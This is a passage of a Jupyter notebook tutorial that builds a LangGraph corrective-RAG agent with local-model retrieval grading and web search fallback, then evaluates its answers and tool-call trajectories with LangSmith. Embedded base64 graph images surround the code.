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", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "from typing import List\n", + "from typing_extensions import TypedDict\n", + "from IPython.display import Image, display\n", + "from langchain.schema import Document\n", + "from langgraph.graph import START, END, StateGraph\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " search: whether to add search\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " search: str\n", + " documents: List[str]\n", + " steps: List[str]\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " question = state[\"question\"]\n", + " documents = retriever.invoke(question)\n", + " steps = state[\"steps\"]\n", + " steps.append(\"retrieve_documents\")\n", + " return {\"documents\": documents, \"question\": question, \"steps\": steps}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + "\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = rag_chain.invoke({\"documents\": documents, \"question\": question})\n", + " steps = state[\"steps\"]\n", + " steps.append(\"generate_answer\")\n", + " return {\n", + " \"documents\": documents,\n", + " \"question\": question,\n", + " \"generation\": generation,\n", + " \"steps\": steps,\n", + " }\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " steps = state[\"steps\"]\n", + " steps.append(\"grade_document_retrieval\")\n", + " filtered_docs = []\n", + " search = \"No\"\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"documents\": d.page_content}\n", + " )\n", + " grade = score[\"score\"]\n", + " if grade == \"yes\":\n", + " filtered_docs.append(d)\n", + " else:\n", + " search = \"Yes\"\n", + " continue\n", + " return {\n", + " \"documents\": filtered_docs,\n", + " \"question\": question,\n", + " \"search\": search,\n", + " \"steps\": steps,\n", + " }\n", + "\n", + "\n", + "def web_search(state):\n", + " \"\"\"\n", + " Web search based on the re-phrased question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with appended web results\n", + " \"\"\"\n", + "\n", + " question = state[\"question\"]\n", + " documents = state.get(\"documents\", [])\n", + " steps = state[\"steps\"]\n", + " steps.append(\"web_search\")\n", + " web_results = web_search_tool.invoke({\"query\": question})\n", + " documents.extend(\n", + " [\n", + " Document(page_content=d[\"content\"], metadata={\"url\": d[\"url\"]})\n", + " for d in web_results\n", + " ]\n", + " )\n", + " return {\"documents\": documents, \"question\": question, \"steps\": steps}\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + " search = state[\"search\"]\n", + " if search == \"Yes\":\n", + " return \"search\"\n", + " else:\n", + " return \"generate\"\n", + "\n", + "\n", + "# Graph\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"web_search\", web_search) # web search\n", + "\n", + "# Build graph\n", + "workflow.add_edge(START, \"retrieve\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"search\": \"web_search\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"web_search\", \"generate\")\n", + "workflow.add_edge(\"generate\", END)\n", + "\n", + "custom_graph = workflow.compile()\n", + "\n", + "display(Image(custom_graph.get_graph(xray=True).draw_mermaid_png()))" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "447d1333-082d-479a-a6fa-0ac0df78bb9d", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'response': 'According to the documents, there are two types of agent memory:\\n\\n* Short-term memory (STM): This is a data structure that holds information temporarily and allows the agent to process it when needed.\\n* Long-term memory (LTM): This provides the agent with the capability to retain and recall information over extended periods.\\n\\nThese types of memories allow the agent to learn, reason, and make decisions.',\n", + " 'steps': ['retrieve_documents',\n", + " 'grade_document_retrieval',\n", + " 'web_search',\n", + " 'generate_answer']}" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "import uuid\n", + "\n", + "\n", + "def predict_custom_agent_local_answer(example: dict):\n", + " config = {\"configurable\": {\"thread_id\": str(uuid.uuid4())}}\n", + " state_dict = custom_graph.invoke(\n", + " {\"question\": example[\"input\"], \"steps\": []}, config\n", + " )\n", + " return {\"response\": state_dict[\"generation\"], \"steps\": state_dict[\"steps\"]}\n", + "\n", + "\n", + "example = {\"input\": \"What are the types of agent memory?\"}\n", + "response = predict_custom_agent_local_answer(example)\n", + "response" + ] + }, + { + "cell_type": "markdown", + "id": "91325c88-ec77-4c79-8a77-cb2e2842bcd4", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/88e7579e-2571-4cf6-98d2-1f9ce3359967/r" + ] + }, + { + "cell_type": "markdown", + "id": "1b80d5da-f698-40d2-a2fb-4eac89e35350", + "metadata": {}, + "source": [ + "## Evaluation\n", + "\n", + "Now we've defined two different agent architectures that do roughly the same thing!\n", + "\n", + "We can evaluate them. See our [conceptual guide](https://docs.smith.langchain.com/concepts/evaluation#agents) for context on agent evaluation.\n", + "\n", + "### Response\n", + "\n", + "First, we can assess how well [our agent performs on a set of question-answer pairs](https://docs.smith.langchain.com/tutorials/Developers/agents#response-evaluation).\n", + "\n", + "We'll create a dataset and save it in LangSmith." + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "b83706ac-724b-46b1-9f08-66e6c4fac742", + "metadata": {}, + "outputs": [], + "source": [ + "from langsmith import Client\n", + "\n", + "client = Client()\n", + "\n", + "# Create a dataset\n", + "examples = [\n", + " (\n", + " \"How does the ReAct agent use self-reflection? \",\n", + " \"ReAct integrates reasoning and acting, performing actions - such tools like Wikipedia search API - and then observing / reasoning about the tool outputs.\",\n", + " ),\n", + " (\n", + " \"What are the types of biases that can arise with few-shot prompting?\",\n", + " \"The biases that can arise with few-shot prompting include (1) Majority label bias, (2) Recency bias, and (3) Common token bias.\",\n", + " ),\n", + " (\n", + " \"What are five types of adversarial attacks?\",\n", + " \"Five types of adversarial attacks are (1) Token manipulation, (2) Gradient based attack, (3) Jailbreak prompting, (4) Human red-teaming, (5) Model red-teaming.\",\n", + " ),\n", + " (\n", + " \"Who did the Chicago Bears draft first in the 2024 NFL draft”?\",\n", + " \"The Chicago Bears drafted Caleb Williams first in the 2024 NFL draft.\",\n", + " ),\n", + " (\"Who won the 2024 NBA finals?\", \"The Boston Celtics on the 2024 NBA finals\"),\n", + "]\n", + "\n", + "# Save it\n", + "dataset_name = \"Corrective RAG Agent Testing\"\n", + "if not client.has_dataset(dataset_name=dataset_name):\n", + " dataset = client.create_dataset(dataset_name=dataset_name)\n", + " inputs, outputs = zip(\n", + " *[({\"input\": text}, {\"output\": label}) for text, label in examples]\n", + " )\n", + " client.create_examples(inputs=inputs, outputs=outputs, dataset_id=dataset.id)" + ] + }, + { + "cell_type": "markdown", + "id": "a23f6bc0-2d03-488c-8f4b-747c93876788", + "metadata": {}, + "source": [ + "Now, we'll use an `LLM as a grader` to compare both agent responses to our ground truth reference answer.\n", + "\n", + "[Here](https://smith.langchain.com/hub/rlm/rag-answer-vs-reference) is the default prompt that we can use.\n", + "\n", + "We'll use `gpt-4o` as our LLM grader.\n" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "id": "0a63776c-f9cd-46ce-b8cf-95c066dc5b06", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain import hub\n", + "from langchain_openai import ChatOpenAI\n", + "\n", + "# Grade prompt\n", + "grade_prompt_answer_accuracy = hub.pull(\"langchain-ai/rag-answer-vs-reference\")\n", + "\n", + "\n", + "def answer_evaluator(run, example) -> dict:\n", + " \"\"\"\n", + " A simple evaluator for RAG answer accuracy\n", + " \"\"\"\n", + "\n", + " # Get the question, the ground truth reference answer, RAG chain answer prediction\n", + " input_question = example.inputs[\"input\"]\n", + " reference = example.outputs[\"output\"]\n", + " prediction = run.outputs[\"response\"]\n", + "\n", + " # Define an LLM grader\n", + " llm = ChatOpenAI(model=\"gpt-4o\", temperature=0)\n", + " answer_grader = grade_prompt_answer_accuracy | llm\n", + "\n", + " # Run evaluator\n", + " score = answer_grader.invoke(\n", + " {\n", + " \"question\": input_question,\n", + " \"correct_answer\": reference,\n", + " \"student_answer\": prediction,\n", + " }\n", + " )\n", + " score = score[\"Score\"]\n", + " return {\"key\": \"answer_v_reference_score\", \"score\": score}" + ] + }, + { + "cell_type": "markdown", + "id": "960f1a01-7f8c-429f-83d0-052cea47b32b", + "metadata": {}, + "source": [ + "### Trajectory\n", + "\n", + "Second, [we can assess the list of tool calls](https://docs.smith.langchain.com/tutorials/Developers/agents#trajectory) that each agent makes relative to expected trajectories.\n", + "\n", + "This evaluates the specific reasoning traces taken by our agents!" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "deb28175-27a1-4afc-9747-2983e87fc881", + "metadata": {}, + "outputs": [], + "source": [ + "from langsmith.schemas import Example, Run\n", + "\n", + "# Reasoning traces that we expect the agents to take\n", + "expected_trajectory_1 = [\n", + " \"retrieve_documents\",\n", + " \"grade_document_retrieval\",\n", + " \"web_search\",\n", + " \"generate_answer\",\n", + "]\n", + "expected_trajectory_2 = [\n", + " \"retrieve_documents\",\n", + " \"grade_document_retrieval\",\n", + " \"generate_answer\",\n", + "]\n", + "\n", + "\n", + "def find_tool_calls_react(messages):\n", + " \"\"\"\n", + " Find all tool calls in the messages returned\n", + " \"\"\"\n", + " tool_calls = [\n", + " tc[\"name\"] for m in messages[\"messages\"] for tc in getattr(m, \"tool_calls\", [])\n", + " ]\n", + " return tool_calls\n", + "\n", + "\n", + "def check_trajectory_react(root_run: Run, example: Example) -> dict:\n", + " \"\"\"\n", + " Check if all expected tools are called in exact order and without any additional tool calls.\n", + " \"\"\"\n", + " messages = root_run.outputs[\"messages\"]\n", + " tool_calls = find_tool_calls_react(messages)\n", + " print(f\"Tool calls ReAct agent: {tool_calls}\")\n", + " if tool_calls == expected_trajectory_1 or tool_calls == expected_trajectory_2:\n", + " score = 1\n", + " else:\n", + " score = 0\n", + "\n", + " return {\"score\": int(score), \"key\": \"tool_calls_in_exact_order\"}\n", + "\n", + "\n", + "def check_trajectory_custom(root_run: Run, example: Example) -> dict:\n", + " \"\"\"\n", + " Check if all expected tools are called in exact order and without any additional tool calls.\n", + " \"\"\"\n", + " tool_calls = root_run.outputs[\"steps\"]\n", + " print(f\"Tool calls custom agent: {tool_calls}\")\n", + " if tool_calls == expected_trajectory_1 or tool_calls == expected_trajectory_2:\n", + " score = 1\n", + " else:\n", + " score = 0\n", + "\n", + " return {\"score\": int(score), \"key\": \"tool_calls_in_exact_order\"}" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "909b097d-cda1-45ff-8210-afeb2d18b8ae", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "View the evaluation results for experiment: 'custom-agent-llama3-8b-answer-and-tool-use-d6006159' at:\n", + "https://smith.langchain.com/o/1fa8b1f4-fcb9-4072-9aa9-983e35ad61b8/datasets/a8b9273b-ca33-4e2f-9f69-9bbc37f6f51b/compare?selectedSessions=83c60822-ef22-43e8-ac85-4488af279c6f\n", + "\n", + "\n" + ] + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "529952314cd34ac1bb115840536921c3", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "0it [00:00, ?it/s]" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n", + "Tool calls custom agent: ['retrieve_documents', 'grade_document_retrieval', 'web_search', 'generate_answer']\n" + ] + } + ], + "source": [ + "from langsmith.evaluation import evaluate\n", + "\n", + "experiment_prefix = f\"custom-agent-{model_tested}\"\n", + "experiment_results = evaluate(\n", + " predict_custom_agent_local_answer,\n", + " data=dataset_name,\n", + " evaluators=[answer_evaluator, check_trajectory_custom],\n", + " experiment_prefix=experiment_prefix + \"-answer-and-tool-use\",\n", + " num_repetitions=3,\n", + " max_concurrency=1, # Use when running locally\n", + " metadata={\"version\": metadata},\n", + ")" + ] + }, + { + "attachments": { + "80e86604-7734-4aeb-a200-d1413870c3cb.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAABf0AAAFdCAYAAAC5CcfkAAAMP2lDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnluSkEBCCSAgJfQmCEgJICWEFkB6EWyEJEAoMQaCiB1dVHDtYgEbuiqi2AGxI3YWwd4XRRSUdbFgV96kgK77yvfO9829//3nzH/OnDu3DADqp7hicQ6qAUCuKF8SGxLAGJucwiB1AwTggAYIgMDl5YlZ0dERANrg+e/27ib0hnbNQab1z/7/app8QR4PACQa4jR+Hi8X4kMA4JU8sSQfAKKMN5+aL5Zh2IC2BCYI8UIZzlDgShlOU+B9cp/4WDbEzQCoqHG5kgwAaG2QZxTwMqAGrQ9iJxFfKAJAnQGxb27uZD7EqRDbQB8xxDJ9ZtoPOhl/00wb0uRyM4awYi5yUwkU5olzuNP+z3L8b8vNkQ7GsIJNLVMSGiubM6zb7ezJ4TKsBnGvKC0yCmItiD8I+XJ/iFFKpjQ0QeGPGvLy2LBmQBdiJz43MBxiQ4iDRTmREUo+LV0YzIEYrhC0UJjPiYdYD+KFgrygOKXPZsnkWGUstC5dwmYp+QtciTyuLNZDaXYCS6n/OlPAUepjtKLM+CSIKRBbFAgTIyGmQeyYlx0XrvQZXZTJjhz0kUhjZflbQBwrEIUEKPSxgnRJcKzSvzQ3b3C+2OZMISdSiQ/kZ8aHKuqDNfO48vzhXLA2gYiVMKgjyBsbMTgXviAwSDF3rFsgSohT6nwQ5wfEKsbiFHFOtNIfNxPkhMh4M4hd8wrilGPxxHy4IBX6eLo4PzpekSdelMUNi1bkgy8DEYANAgEDSGFLA5NBFhC29tb3witFTzDgAgnIAALgoGQGRyTJe0TwGAeKwJ8QCUDe0LgAea8AFED+6xCrODqAdHlvgXxENngKcS4IBznwWiofJRqKlgieQEb4j+hc2Hgw3xzYZP3/nh9kvzMsyEQoGelgRIb6oCcxiBhIDCUGE21xA9wX98Yj4NEfNheciXsOzuO7P+EpoZ3wmHCD0EG4M0lYLPkpyzGgA+oHK2uR9mMtcCuo6YYH4D5QHSrjurgBcMBdYRwW7gcju0GWrcxbVhXGT9p/m8EPd0PpR3Yio+RhZH+yzc8jaXY0tyEVWa1/rI8i17SherOHen6Oz/6h+nx4Dv/ZE1uIHcTOY6exi9gxrB4wsJNYA9aCHZfhodX1RL66BqPFyvPJhjrCf8QbvLOySuY51Tj1OH1R9OULCmXvaMCeLJ4mEWZk5jNY8IsgYHBEPMcRDBcnF1cAZN8XxevrTYz8u4Hotnzn5v0BgM/JgYGBo9+5sJMA7PeAj/+R75wNE346VAG4cIQnlRQoOFx2IMC3hDp80vSBMTAHNnA+LsAdeAN/EATCQBSIB8lgIsw+E65zCZgK